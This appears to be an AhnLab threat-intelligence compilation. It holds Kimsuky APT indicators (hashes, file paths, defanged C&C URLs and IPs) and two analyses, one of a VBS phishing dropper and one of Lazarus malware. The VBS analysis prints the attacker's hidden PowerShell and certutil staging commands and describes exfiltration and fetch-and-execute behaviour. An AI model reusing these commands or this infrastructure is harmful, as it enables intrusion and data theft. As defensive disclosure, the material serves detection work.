%ALLUSERSPROFILE%\hvnc.dat
TightVNC
%ALLUSERSPROFILE%\edge\tvnc.db
%ALLUSERSPROFILE%\msedge\tvnc.db
%ALLUSERSPROFILE%\s\tvnc.dat
%ALLUSERSPROFILE%\tvn.db
%ALLUSERSPROFILE%\tvnc.dat
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
RDP Wrapper
%ALLUSERSPROFILE%\rdp\rdpconf.exe
%ALLUSERSPROFILE%\rdp\rdpwinst.exe
%ProgramFiles%\rdp wrapper\rdpwrap.dll
Malware for Adding Account
%ALLUSERSPROFILE%\net.exe
%ALLUSERSPROFILE%\net-add.exe
%APPDATA%\media\wmi-ui-9cde8e85.db
RDP Patch Malware
%TEMP%\pms6e3e.tmp
UACMe
%ALLUSERSPROFILE%\su.db
Privilege Escalation Malware
%ALLUSERSPROFILE%\lala.exe
%ALLUSERSPROFILE%\c.exe
%ALLUSERSPROFILE%\lala.dll
%ALLUSERSPROFILE%\n.dll
Powerkatz
%ALLUSERSPROFILE%\hi.db
%ALLUSERSPROFILE%\edge\powerkatz-x64.exe
%ALLUSERSPROFILE%\pacs8.exe
%SystemDrive%\users\[User name]\documents\pkt.exe
%SystemDrive%\users\[User name]\documents\1\pkt.exe
%SystemDrive%\users\[User name]\documents\powerkatz-x64.exe
Malware for Stealing Chrome Account Credentials
%ALLUSERSPROFILE%\cc.dat
Keylogger
%ALLUSERSPROFILE%\ahnlab\install.cfg
Proxy Malware
%ALLUSERSPROFILE%\la.exe
%ALLUSERSPROFILE%\ll.exe
File Hashes (MD5)
The MD5 of the related files is shown below. However, it might be omitted if there is a sensitive sample.
Script
357a56dbc9e8b43d8ca09a92eac9b429
04b207967c38414d99a7da2b718c440f
c7844002ba15798f2c240f2b629d90c2
3a4ab11b25961becece1c358029ba611
609f8450e024ed88b130f13d6d7b213f
159dd4d84fd6c5d1bb807cdb02215cf8
f0255dfcb932c3072c2489124b25b373
e7cf7c466e90f2b580ce89e4f8ef2af6
9c86a941cfb1ecbc580aea99b7d18e90
6c82e7b8fe3fd401573a822f6d1455e9
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
d9064c446b39e23822cb3b2680a0e052
8b274243a5179028388a2c17c75afb9f
PIF Dropper
96c6ad44b9bb85e9e57bfea7e441d131
e8da7fcdf0ca67b76f9a7967e240d223
aa65c226335539c162a9246bcb7ec415
2ff981ba02b1c5a8487b858265b037de
815c690bfc097b82a8f1d171cd00e775
b567f7aac1574b2ba3a769702d2f6a1e
93758669e4f689b2f3b8b9ee6189c3df
7e041b101e1e574fb81f3f0cdf1c72b8
946f787c129bf469298aa881fb0843f4
PIF Dropper (UPX Unpack)
51c19c3ac15f7434b777effd4e490b41
e521c68ac280c00b0e27cbd2fed4c9c4
Downloader
e413c5922addcde26edc5d72c3f3163d
768c84100d6e3181a26fa50261129287
218b391172f990ec35e08a221b77fa14
2a57aea6acc479332cf176aa9e976015
23ea8eba791c783dd197ac3695b57a92
acc36ffa4f40016b483deac1f78cf07d
8414d95877acde1b2557d7ab8ac0119f
6603e6628ca799ea21822d9952ce048a
54a0fdabbdf7e77509850e25ab956094
447163d776b62bf0b1c652c996cc0586
ee5a33cc147a56fe8e77cc37a4320527
Downloader (UPX Unpack)
19e09cfdcfe0c255c50b67d52b6a7afe
AppleSeed - HTTP
7348d1f1f1ca3b7ff25b362231365904
aef664a85be61781dc20af81a644cfa3
f0dbc8a4d62ebb22c0bae473de1c98d2
0d9f8b5b7417896508a49047a5eb18eb
911937edadd017d5475570a1207bc3eb
8355964a47f248ed39caccb733aabc44
fd805335efa9ef39b121c7f1cec6ff83
151af490f16384372473f7696c90aa2a
07db667386e71a3334d79d93b26e930b
2401ad5f935df2757214a84538bdfdde
684b27302d9e5e6558651bd1ab50f5d7
f928a8eb6a04e8c47eafbed8ff014ed1
5c8afc7e08e480d10122c007b0b0cdf4
fea415382e510eea7b49ddc68cbdc402
7b6d65191d091bdd7c997ffcd670b018
c9ede077ec500240864c47c69fe5c728
5ce3a4eddba6ec8273db024b1813a530
d228d8453f1249f2177f376bfae4b10f
29d2895afb76ae73705b05847d3b2384
d68454cfef64f71caaa9c4f44c016a68
04d0856afb1aa9168377d6aa579c5403
44222674cf1175859b1756038f030e2d
866d2981320c69db5294d0761788f05a
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
2142739359fd0c614ffe3e2fcbc8c89d
1ce204f16d458e78ed8de91c332545cc
3913423877bd01729a63ba6dd075a19c
d7b2cf6c8597d12d30aca68b277912af
ba615365f00a2a631c6f8ccafdf52a80
d214790381ab8d1bfb909ac0b0d38051
d77dd109df7874e3c2cb72e9e169f909
1eefdfd7b83c2be2c388acb4b19fdd50
43e65ed5d864f0994277e4cdb217e9dd
801894c7f962e48e2fa35260b8f37a65
d6727e4a3f84d99d4e97ff6fb246c33b
60a65964fe90e1fd7d3d50623ed05083
89fff6645013008cda57f88639b92990
66b33561a84a8a8b78883b5e83ef76e5
de02fd9415983147bacfb839658aef7a
cb9f97f06743c4592b5c5b0b2538ae5c
373a04225dd9b0d99cab3ed9ca970a23
b239679d6cd70e0d4ae30852005752ca
ef75f528fb738e9519950bd615c85f8e
ae47cd69cf321640d7eebb4490580681
8814fc3d81b3a948f54b0c035ece41aa
3d235aa8f66ddeec5dc4268806c22229
537b319927c0a7fbfaa0d411283069e3
076fcf70558836549151e7685adb1203
9d00bf9a834d6d5361b4a281aaa9ddd0
605c3dee08569692b67f25a47cb4a397
10b9702f8096afa8c928de6507f7ecfe
df14d5c8c7a1fb5c12e9c7882540c3c0
41a8fc708ea0181c704a10b71771620c
d3eee11514cf901b273bcbd4d91c8af5
a44966b7ddddbc62d7eb967d34812840
7c86ce42fed192ba7d1e09af0a7bf821
4ea6280e76b8c9fd6432faab3e1566b7
e6bc6e7fd86c5000d6557416e765ee7d
03cf908006d0b6bcac671ebc88f1ddf7
43917a2b19e25e3ffd110188404691d5
5aa0393b910b3f94b327e4e6162265fc
4d7816bb6f22dc76d3564e312a38ecc8
ca5c311cdf05a4661dc490e0929cdef1
a36414bf5195e523797d6e30a2e1225b
157160589dc3d5bad2e7ed15629b87d6
a03598cd616f86998daef034d6be2ec5
85ae0be9411b1ab0d7644347af0f7f07
ed17ac8d2ee4a3b145e5784887b2499a
8b775c805427560a4cedd900c8e63863
80a2bb7884b8bad4a8e83c2cb03ee343
d916c3533a89e498159fc432d645edb8
14e01ed4d086206d3c4b7159dc887f25
739d14336826d078c40c9580e3396d15
df0ed691353427377f58972a113b75eb
165f120ac79eda977d10f2f5203ff067
541fa4fb60690ffbe48b24cd2eeda32e
e40cb1328cf00cc490a7239141db3661
4d20e2f1c2e8e9503d2bf7d0422b7ac7
171e12e3673eb0f934ce94cb583daccc
7480f871e59de96aaf2a20271ef2eab6
68eddf7fe33ac28a71f63437e2320b43
2cb77491573acc5e8198d8cf68300106
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
07c52157eb97ebe792b03e3a9d8a8240
499b72fc9973d2f2ee6679fd60d9dbaf
876db1153d0689092619315a61138c47
de9254369b928eaab82c84be777ebd05
9f9fd9812bac6bc71fe553c82faede94
bbc79820ccc040a54d2327ec28875377
734e034f968f13b4fbe5eddf443c4435
c7fbffb557c2006fd3316470e0c763d2
a40d47de39d25452af79cf1a9f812ee1
41950ac0d33adce8c8dcd0bed0e76591
3c47e1074f0845f50b615f1fb99b3bd8
1976fe2bc1011c02ff50c807f97cb230
caa1a847d0ae3f3d647474f5db9069bf
c019e4bd1d192e08c56135a501a828fe
25afb96dc0db40d2de6313ce9fa7fdc7
28e0e331b4657e2383978c3fba89d7af
8f19fb2998e24bd05ff39bf2a704acd7
4e58ea982e3e95fe7b1bdb480ab9810e
AppleSeed - HTTP (UPX or Self Unpack)
445299630a7675b2dbdc0ddfb08181a0
21994210ecb683ebccfaeda7a58b93f4
dd94918ac64425f9e14d3ee11fd22f26
c9540a5128ff77cf184b894a09a2fbb0
03b56d2764a29625fd7f804d0e431ab9
2d1f1132ab7e80a6a8546dd2ac45bd89
c1681bd8a0bfb54f208d2d1eee6693ec
9465a1a8cd418b8737e4c1f7dbe919f7
1de3b318b8a6636627004c6c43c87254
179ebbc3ea95ebaf882e997c469e800b
0ab009337ba3ed59560851db078e170a
8abb227a7c90a24e57e987cbf1cea1b4
907590565c5d3494addcd561736135df
7842a386fcd8bb8572b19383fed0b1e1
c688c60c94ead98f772c20cf18fb02d1
b5e2fff1591aa8331a1b9dfd1b2be435
c861f25bb943f77a909b33d62bb71926
8220d11b69ad5e516234405e00e899e0
5969b33fc2e70e9d007edd7ec8b8c7ea
aed94d4b249d93c40c63267b9106f7a9
7b623d8d8821cdea344b58e8b392a77a
e6d6cb76e2c91b6771b4fb4e19785e76
a22b6ee659d80bfc4e0d51f46973eff0
e98fae79f1c389313fcc27343ea2e359
0c4c830daac33221188e3c5461b35b6b
AppleSeed - EMAIL
98015898c06603cc50bf0ed1eaf8fdff
8c5c844eb8612235cfbdf1fc8c59af65
dacb71c5eac21b41bb8077fe2e9f5a25
35ee0f5d686e72aba04253b0b39d19fe
f2a39067724a227f6f7bc0f0602bae32
18d94704439c9eda33ea49eab40d99a5
0c6da2b9f9a5d8b3cf01f682c097f48b
AppleSeed - EMAIL (UPX Unpack)
2c49b207dcd0454e6e7486ce6126f3e0
3bad087e698b257d5c3b8ac11392973d
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
40add75d64cebbc6f9054d0fa7a3d8cf
1d759150d2364a2fd0db7c22049ada22
6844589e2962b3914824cc8b90a552a6
a213a2bdfb76bcb4957568f08f753b85
Initial Version PebbleDash
8251bd566bdc6363b53f73224e4bd12b
bb9641441dbc300939077bc3a0b60846
3998926526d5950c62ca2ec0225b8e7e
232279212c0ac76e13c524ba32fb545b
4ffcb40b7ef5f475e75d972dd69bb7fb
c78523f37f856d9743638ce1b0128fcd
7c2fcbb47a97709b7b4c7001000882fd
b3ed33cf6d37e45b013afc4c6bbb84d9
Initial Version PebbleDash (Self Unpack)
baed0df969bdc9d914040b75bb3a7b8f
Latest Version PebbleDash
e33a34fa0e0696f6eae4feba11873f56
bbab9d691b616df065049d4c1c4f356f
5c04be3a9e52e04500e1b729988ab902
3c3f2c3df0ddefebe51ce8fc9fd888f8
a9a495491914257afc294fa6c2d215ba
Latest Version PebbleDash (Unpacked)
9fa3d317b62fe14eab225d56f3c9509d
df0c27db9b5d8133d07b36d2c90eab56
Meterpreter
e37836c1f65fa321c7301c4062a1776c
c61b965dae6f5e745f075825f3ec20d5
420634db019dc28b89bf9d2e6fe5db6d
107f917a5ddb4d3947233fbc9d47ddc8
6e8406d6680899937f23c788a7008a11
7f4624a8eb740653e2242993ee9e0997
8ae6d97cfd68f3866a60b11d4dfbace5
d5ad5ffde477e3bc154a17b4d74f401b
d4da4660836d61db95dd91936e7cfa4a
3ef24a88fe011e4f6ef2639966beefa8
374a036525987bda63adeefd329e2b67
0a3c27b2bf7cd8d0913102c2931f025b
9cd1b48fba4ce9189d1cc6e522c8fbad
7872a5dfce3c3212e9cbe40d1541f9f6
7656801585f0c037834438a7d7f1288f
06f5957a2247b6e1ae0f55a3c4633b45
d010a3f121d80705e6622ded206835ac
e192c1495e9d7cf18812a7a03a1e84f2
07adf13da4b6087c458b91a519a97d83
a714973224c833adb34aef84ff5e20f3
7f6ea229797148c0cd399132fb6e4069
3cfb46d86380f53788e5712a912ae6a5
11c6f97aaa583fc631f34af918516873
37e7d679cd4aa788ec63f27cb02962ea
e582cf21c5f1951cf4dffd79d7e5403d
Meterpreter (UPX Unpack)
11d3b490638d0376afe3540df88a6476
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
HVNC
00ced88950283d32300eb32a5018dada
535827d41b144614e582167813fbbc4c
67aa7ddecc758dddfa8afc9d4c208af1
93efab6654a67af99bbc7f0e8fcf970f
f7839eeb778ff17cf3c3518089f9bbec
dd90cb5dcd7bd748baa54da870df606c
5bd6cb6747f782c0a712b8e1b1f0c735
16c0e70e63fcb6e60d6595eacbd8eeba
76c5f8173c93acc11328602cfae6c1aa
HVNC (UPX Unpack)
a1bcf8508c52b1cc7c353eddc36edbd5
1f498103d59cc423bb2136f100ead563
99c200d13b4ab4f61e1c41ff99296204
TightVNC
26eaff22da15256f210762a817e6dec9
088cb0d0628a82e896857de9013075f3
9a71e7e57213290a372dd5277106b65a
db4ff347151c7aa1400a6b239f336375
4301a75d1fcd9752bd3006e6520f7e73
a07ddce072d7df55abdc3d05ad05fde1
5b6da21f7feb7e44d1f06fbd957fd4e7
4fdba5a94e52191ce9152a0fe1a16099
bb761c2ac19a15db657005e7bc01b822
TightVNC (UPX Unpack)
be14ced87e2203ad5896754273511a14
rdpconf.exe
03fb8e478f4ba100d37a136231fa2f78
rdpwinst.exe
1177fecd07e3ad608c745c81225e4544
rdpwinst.exe (UPX Unpack)
887003ed5ecba696d58d36e495f194b9
rdpwrap.dll
461ade40b800ae80a40985594e1ac236
Malware for Adding Account
5de4061060f363a7b8821368548b4ffa
a5ef533b1ab7f99678981a2921010091
Malware for Adding Account (UPX Unpack)
a77c57f9762325f476eea6beef85e330
bb8a3d46abe639a429137d82000e9374
RDP Patch Malware
e94f99d08a85de47e4b64fd1d38f2586
UACMe
bfd9090cd62ae39da81698601c208952
UACMe (UPX Unpack)
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
9b194fd9a101f5880976d1a36c416550
Privilege Escalation Malware
4c814e4344f8865b58bdd7f54436b355
8c8207fa4050635f43ff6e7f712c658b
8ec1e9f9bfb99e560b1b489e95713313
Powerkatz
e83578514353897b42f5bebe3d7603f1
afafb039d9143257d68553cafacc1992
Powerkatz (UPX Unpack)
96dbe0326dad80b1f3de6bb156a727c8
Malware for Stealing Chrome Account Credentials
4f01512ba32bc4d6cc2a6884ed569e55
Keylogger
2978850265521ef9d820fc127f5ca77d
cb4f6a13a94d6fc2c4cd1a6ba416a3d5
Keylogger (UPX Unpack)
4a74790ca680dc58fa64b7cfc94d7ed3
db9bbea9674a494b1d43c73237bb28b9
Proxy Malware
34c07d081f4d0959a4ba68de36229256
fab60b7dabd444341023055638dee1bc
Related Domain, URL, and IP Address
The download and C&C URLs that are used are listed below. (http was changed to hxxp.) The URL may
be omitted if it contains sensitive information.
PIF Dropper
hxxp://pollor.p-e[.]kr/?query=5
hxxp://get.seino.p-e[.]kr/?query=5
hxxp://d.vtotal.n-e[.]kr/?query=5
hxxp://exchange.amikbvx[.]cf/?query=5
hxxp://mail.kumb[.]cf/?query=5
hxxp://vpn.atooi[.]ga/?query=5
VBS Malware
hxxp://get.seino.p-e[.]kr
Downloader
hxxp://ai.woani[.]ml
hxxp://app.veryton[.]ml
hxxp://biz.gooroomee[.]ml
hxxp://com.dshec[.]ml
hxxp://eastsea.or[.]kr
hxxp://hao.aini.pe[.]hu
hxxp://imap.pamik[.]cf
hxxp://love.krnvc[.]ga
hxxp://pc.ac-kr.esy[.]es
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
AppleSeed - HTTP
hxxp://accont.estcoft.kro[.]kr//
hxxp://account.googledriver[.]ga//
hxxp://adobe.acrobat.kro[.]kr//
hxxp://ahnlab.check.pe[.]hu/upload/
hxxp://alps.travelmountain[.]ml//
hxxp://anto.shore[.]ml//
hxxp://aprodite.olympus.kr-infos[.]com//
hxxp://banana.baochoiah[.]store//
hxxp://banana.raminunahg[.]space//
hxxp://beast.16mb[.]com//
hxxp://benz-oh-haapy.96[.]lt//
hxxp://bhigr.baochoiah[.]store//bnioww/
hxxp://bmw-love.890m[.]com//
hxxp://boars.linecover[.]xyz//
hxxp://channel-shop.manage-tech[.]club//
hxxp://check.sejong-downloader.pe[.]hu//
hxxp://cold.miontranck[.]host/drink/
hxxp://confirm.assembly-check-loader.pe[.]hu//
hxxp://cordova2020.esy[.]es//
hxxp://cuinm.huikm.kro[.]kr//
hxxp://dept.lab.hol[.]es//
hxxp://depts.washington[.]edu/dswkshp/wordpress/wp-content/themes/twentyfifteen/inc/io/
hxxp://do.giveme.r-e[.]kr//
hxxp://dongnam2014.cafe24[.]com/image/main/sub/
hxxp://driver.spooler.p-e[.]kr//
hxxp://eastsea.or[.]kr//
hxxp://elle-mart.pe[.]hu//
hxxp://estsft.autoupdate.kro[.]kr//
hxxp://ffd-fund.pe[.]hu//
hxxp://greatname.000webhostapp[.]com//
hxxp://help.mappo-on[.]life//
hxxp://help.octo-manage[.]net//
hxxp://helper.canvas-life[.]me//
hxxp://help-super.pe[.]hu//
hxxp://hotmail.mail-help[.]me/file1/
hxxp://hotmail.mail-help[.]me/file2/
hxxp://ijljhsw.heroheroin.host//
hxxp://inchon.decaft[.]live//
hxxp://iuqsd.baochoiah[.]store/zvxcty/
hxxp://kamaze-love.96[.]lt//
hxxp://kcxxwr.pagelock.host//
hxxp://mail-post-check[.]pe.hu//
hxxp://mjseu.dogshouse[.]online//
hxxp://monkey.funnystory[.]tech//
hxxp://nahika.webguiden[.]online//
hxxp://office.lab.hol[.]es//
hxxp://onedrive-upload.ikpoo[.]cf//
hxxp://park.happysunday[.]space//
hxxp://part.bigfile.pe[.]hu//
hxxp://ping.requests.p-e[.]kr//
hxxp://platoon.soliders[.]uno//
hxxp://ppahjcz.tigerwood.tech//
hxxp://proce.soute.kro[.]kr//
hxxp://projectgreat.000webhostapp[.]com//
hxxp://rolls-royce-love.890m[.]com//
hxxp://seoul.lastpark[.]life//
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
hxxp://smile.happysunday[.]space//
hxxp://snow-mart.pe[.]hu//
hxxp://snu-ac-kr.pe[.]hu//
hxxp://studio.lab.hol[.]es//
hxxp://studio-sp.lab.hol[.]es//
hxxp://suzuki.datastore.pe[.]hu//
hxxp://term.invertion[.]press//
hxxp://texts.letterpaper[.]press//
hxxp://update.hdac-tech[.]com//
hxxp://update.netsvc.n-e[.]kr//
hxxp://update.nhuyj.r-e[.]kr//
hxxp://update.ssnuh.kro[.]kr//
hxxp://updown.kasse-tech[.]club//
hxxp://upload.bigfile.hol[.]es//
hxxp://upload.bigfile-nate.pe[.]hu//
hxxp://upload.mydrives[.]ml//
hxxp://upload.myfilestore[.]cf//
hxxp://upload-confirm.esy[.]es//
hxxp://washer.cleaninter[.]online//
hxxp://yes24-mart.pe[.]hu//
hxxp://yes24-mart.pe[.]hu/bear/
hxxp://you.ilove.n-e[.]kr//
AppleSeed - EMAIL
helper.1.1030@daum[.]net
k1a0604a@daum[.]net
k1sheliak88@daum[.]net
k1-tome@daum[.]net
k21yn@daum[.]net
k2x0604@daum[.]net
Initial Version PebbleDash
41.92.208[.]195:443
98.159.16[.]132:443
211.233.13[.]11:443
112.217.108[.]138:443
Latest Version PebbleDash
hxxp://movie.youtoboo.kro[.]kr/test.php
hxxp://news.scienceon.r-e[.]kr/view.php
hxxp://www.onedriver.kro[.]kr/update.php
PebbleDash Download URL
hxxp://new.jungwoo97[.]com/install.bak/1u.exe
hxxp://new.jungwoo97[.]com/install.bak/1.exe
Meterpreter
23.106.122[.]239:3001
27.102.112[.]44:8080
27.102.114[.]63:3001
27.102.114[.]63:80
27.102.127[.]240:3001
27.255.79[.]204:30000
27.255.81[.]109:3015
31.172.80[.]100:3001
31.172.80[.]104:3001
37.172.80[.]104:3001
64.14.211[.]175:3015
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
79.133.41[.]237:4001
79.133.41[.]248:5600
210.16.120[.]251:443
HVNC
27.102.102[.]70:33890
27.102.112[.]58:33890
27.255.81[.]109:33890
27.255.81[.]71:33890
31.172.80[.]104:3030
61.14.211[.]174:33890
79.133.41[.]237:3030
TightVNC
27.102.114[.]79:5500
27.102.114[.]89:5500
27.102.127[.]240:5500
27.102.128[.]169:5500
27.255.81[.]109:5500
27.255.81[.]71:5500
31.172.80[.]104:5500
61.14.211[.]175:5500
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
Reference
https://vblocalhost.com/conference/presentations/operation-newton-hi-kimsuky-did-an-appleseedreally-fall-on-newtons-head/
[2] https://github.com/curl/curl
[3] https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133c
https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?i=8709a7d6-561a-4df3-8bd1a5fedce07717 (Analysis Report on Privilege Escalation Using UAC Bypass)
[5] https://asec.ahnlab.com/ko/1160/ (GandCrab v4.3 distributed in the Nullsoft installer form)
[6] https://github.com/hlldz/CVE-2021-1675-LPE/
https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?i=cc8cf212-f3ca-4134-812d0e471d888923 (Analysis Report of the Internal Propagation Technique Using Mimikatz)
Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
AhnLab Cyber Threat Intelligence Report
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APT attack disguised as North Korean defector resume
format (VBS script)
asec.ahnlab.com/ko/33141
March 29, 2022
The ASEC analysis team recently confirmed that malicious VBS for the purpose of
information leakage is being distributed through phishing emails related to North Korea. It
contains the contents of a broadcast related to North Korea, and a compressed file is
attached. Referring to writing a resume, induce execution of the attached file. A malicious
VBS script file exists inside the compressed file.
Figure 1. dissemination email
Figure 2. attached compressed file
The brief behavior of the '2022 resume form.vbs' file is as follows.
Information Collection and Transmission
Generating a normal Korean file
Creating additional malicious script files and registering the task scheduler
When the VBS file is executed, information of the user's PC is collected through the following
command.
Information Collected
command
List of currently running
processes
cmd /c tasklist /v | clip
routing table information
cmd /c Route print | clip
About Program Files folder
cmd /c dir /w 
%SystemRoot%/../Program Files
clip
About Program Files (x86)
folder
cmd /c dir /w 
%SystemRoot%/../Program Files
(x86)
 | clip
Table 1. Information Collected
After encoding the collected information in Base64, it is transmitted to
hxxp://fserverone.webcindario[.]com/contri/sqlite/msgbugPlog.php.
Parameter value: Cache=error&Sand=[User name]&Data=[base64-encoded collection
information]&Em=[base64-encoded user name]
Also, in order to disguise as a normal file, the Korean file created with the '2022.hwp'
command is executed in the folder where the '2022 resume form.vbs' file is executed. The
Korean file contains the contents of the resume format as follows.
Figure 3. Hangul file inside
Figure 4. Hangul file properties
After that, the data present in the response received from the URL that transmitted the
information is executed using PowerShell. Also, the %appdata%\mscornet.vbs file created
through the corresponding response is registered in the task scheduler as the Google Update
Source Link name. In addition to this, copy mscornet.vbs to the startup program folder so
that the VBS file can be executed automatically, and then self-delete the '2022 resume
form.vbs' file.
Figure 5. created task scheduler
Currently, no special response is received from
hxxp://fserverone.webcindario[.]com/contri/sqlite/msgbugPlog.php, which sent the
information, but the received response recorded in RAPIT, our automatic analysis system
(confirmed on 3/26) ) contains additional commands.
In the response message, use PowerShell to save base64-encoded data in
%AppData%\~KB3241.tmp. After that, ~KB3241.tmp is decoded and saved as
%AppData%\mscornet.vbs, and then ~KB3241.tmp is deleted.
powershell -w hidden ECHO OFF echo
RnVuY3Rpb24gaDJzKGgpDQogIERpbSBhIDogYSA9IFNwbGl0KGgpDQogIERpbSBp >
"%AppData%\~KB3241.tmp"
echo DQogIEZvciBpID0gMCBUbyBVQm91bmQoYSkNCiAgICAgIGEoaSkgPSBDaHIoIiYi >>
"%AppData%\~KB3241.tmp"
echo ZSINCmtpbGxQcm9jZXNzICJpZWxvd3V0aWwuZXhlIg== >> "%AppData%\~KB3241.tmp"
certutil -f -decode "%AppData%\~KB3241.tmp" "%AppData%\mscornet.vbs"
del "%AppData%\~KB3241.tmp"
mscornet.vbs connects to
hxxp://cmaildowninvoice.webcindario[.]com/contri/sqlite/msgbugGlog.php?
Cache=fail&Sand=[PC name] and executes the received response with the Execute
command. Currently, additional commands are not identified in the URL, but various
malicious actions can be performed by an attacker.
Recently, malicious codes disguised as North Korea-related contents are being distributed in
the form of VBS scripts as well as word documents, so user attention is required.
Currently, AhnLab V3 product diagnoses the file as follows.
[File Diagnosis]
Dropper/VBS.Generic
Trojan/VBS.Agent
[IOC]
ab97956fec732676ecfcedf55efadcbc
e49e41a810730f4bf3d43178e4c84ee5
hxxp://fserverone.webcindario[.]com/contri/sqlite/msgbugPlog.php hmsp
://cmaildowninvoice.webcindario/sqlite/contrig.
Related IOCs and related detailed analysis information can be checked through
AhnLab's next-generation threat intelligence platform 'AhnLab TIP'
subscription service.
Categories: Malware information
Tagged as: VBScript
A new type of malware from the Lazarus attack group
that exploits the INITECH process.
asec.ahnlab.com/ko/33706
April 18, 2022
AhnLab's ASEC analysis team is monitoring the situation in which about 47 companies and
institutions, including defense companies, are being infected with the malicious code
distributed by Lazarus Group in the first quarter of 2022, and seriously judges this situation.
It was confirmed that malicious behavior was generated by the INITECH process
(inisafecrosswebexsvc.exe) in the affected companies.
The following items were first checked for inisafecrosswebexsvc.exe on the victim system.
The inisafecrosswebexsvc.exe file is
It is an executable file of INISAFE CrossWeb EX V3, a security program of INITECH.
It has the same hash value as a normal file.
(MD5:4541efd1c54b53a3d11532cb885b2202)
It is a file normally signed by INITECH.
INISAFE Web EX Client was installed in the system before the breach, and no trace of
tampering was found.
It is executed by iniclientsvc_x64.exe at system boot time, and it was executed in the
same way on the day of the breach.
The confirmed inisafecrosswebexsvc.exe file is a normal file that has not been tampered with.
As a result of checking the process execution history and the code of the malicious code
SCSKAppLink.dll, it was found that SCSKAppLink.dll was injected into
inisafecrosswebexsvc.exe and operated.
SCSKAppLink.dll contains code that branches according to the injected host process. The
branch code is written to download and execute additional malicious code by accessing
hxxps://matric.or.kr/include/main/main_top.asp?prd_fld=racket when it is injected into
the inisafecrosswebexsvc.exe process and operates.
In the rest of the branches, it is supposed to determine whether svchost.exe, rundll32.exe,
and notepad.exe are injected, but the branch statement does not contain executable code, so
it is not considered to be a complete malicious code.
The inisafecrosswebexsvc.exe injected with SCSKAppLink.dll connects to the malicious code
distribution site, downloads the downloader malware main_top[1].htm file to the Internet
temporary folder path, and copies it to SCSKAppLink.dll.
Download Path: c:\users\
<user>\appdata\local\microsoft\windows\inetcache\ie\zlvrxmk3\main_top[1].htm
Copied path: C:\Users\Public\SCSKAppLink.dll
Figure 1. Branch code according to host process of SCSKAppLink.dll
Figure 2. SCSKAppLink.dll code (C2 address accessed when host is inisafecrosswebexsvc.exe)
The same malware was mentioned on a Symantec blog a few days ago. A blog titled 
Lazarus
Targets Chemical Sector
, published on April 15th, describes the Lazarus attack group
attacking the chemical sector. It seems that Lazarus' attacks are expanding targeting major
industries such as domestic defense and chemical industries. ( https://symantec-enterpriseblogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical )
AhnLab judges SCSKAppLink.dll to be a malicious code created by the Lazarus attack group,
and continues to track the related malicious code. The IOCs of related malicious codes
identified so far are as follows.
[File Diagnosis]
Data/BIN.Encoded
Downloader/Win.LazarAgent
Downloader/Win.LazarShell
HackTool/Win32.Scanner
Infostealer/Win.Outlook
Trojan/Win.Agent
Trojan/Win.Akdoor
Trojan/Win.LazarBinder
Trojan/Win.Lazardoor
Trojan/Win.LazarKeyloger
Trojan/Win.LazarLoader
Trojan/Win.LazarPortscan
Trojan/Win.LazarShell
Trojan/Win.Zvrek
Trojan/Win32.Agent
[File MD5]
0775D753AEAEBC1CFF491E42C8950EC0
0AC90C7AD1BE57F705E3C42380CBCCCD
0F994F841C54702DE0277F19B1AC8C77
196FE14B4EC963BA98BBAF4A23A47AEF
1E7D604FADD7D481DFADB66B9313865D
2EF844ED5DCB9B8B38EBDE3B1E2A450C
39457097686668A2F937818A62560FE7
3D7E3781BD0B89BA88C08AA443B11FE5
3ECD26BACD9DD73819908CBA972DB66B
4B96D9CA051FC68518B5A21A35F001D0
4E2DFD387ADDEE4DE615A57A2008CFC6
5349C845499A6387823FF823FCCAA229
570F65824F055DE16EF1C392E2E4503A
683713A93337F343149A5B3836475C5D
6929CAA7831AE2600410BC5664F692B3
6A240B2EDC1CA2B652DBED44B27CB05F
7188F827D8106F563980B3CCF5558C23
7607EF6426F659042D3F1FFBFEA13E6A
7870DECBC7578DA1656D1D1FF992313C
7BF6B3CD3B3034ABB0967975E56F0A4B
81E922198D00BE3E6D41DCE773C6A7FB
878AD11012A2E965EA845311FB1B059F
8FCDF6506CA05EFAFC5AF35E0F09B341
933B640D26E397122CE8DE9293705D71
A329AC7215369469D72B93C1BAC1C3C4
A8B90B2DD98C4FDD4AE84A075A5A9473
ADF0D4BBEFCCF342493E02538155E611
B213063F28E308ADADF63D3B506E794E
B3E03A41CED8C8BAA56B8B78F1D55C22
B5EAEC8CE02D684BAA3646F39E8BC9B5
B85FDE972EE618A225BFBA1CEF369CC8
B91D1A5CC4A1DE0493C1A9A9727DB6F9
B974BC9E6F375F301AE2F75D1E8B6783
BB9F5141C53E74C9D80DCE1C1A2A13F0
C99D5E7EDBA670515B7B8A4A32986149
CB5401C760B89D80657FC0EFC605AE62
D3BFA72CC8F6F8D3D822395DBC8CD8B8
D57F8CD2F49E34BEDA94B0F90426F7B3
D9BC5EDCE4B1C4A941B0BF8E3FAC3EA8
DD3710ABFACDF381801BB11CF142BD29
DD759642659D7B2C7FD365CBEFF4942E
E04206BA707DE4CDE94EFEDA6752D0CA
E6265DCCFDEF1D1AA134AEC6236734F8
E84404DED7096CD42EF39847DE002361
E8D7EAF96B3E5AEE219013C55682968C
EC99EBB78857211EB52EB84750D070E7
F15FD25A4C6E94E2202090BBB82EBC39
F48369111F2FAABB0CCB5D1D90491E0E
[IP/URL]
hxxps://www.matric.or.kr/include/main/main_top.asp
hxxps://www.gaonwell.com/data/base/mail/login.asp
hxxp://www.h-cube.co.kr/main/image/gelery/gallery.asp
hxxps://www.shoppingbagsdirect.com/media/images/?ui=t
hxxps://www.okkids.kr/html/program/display/?re=32
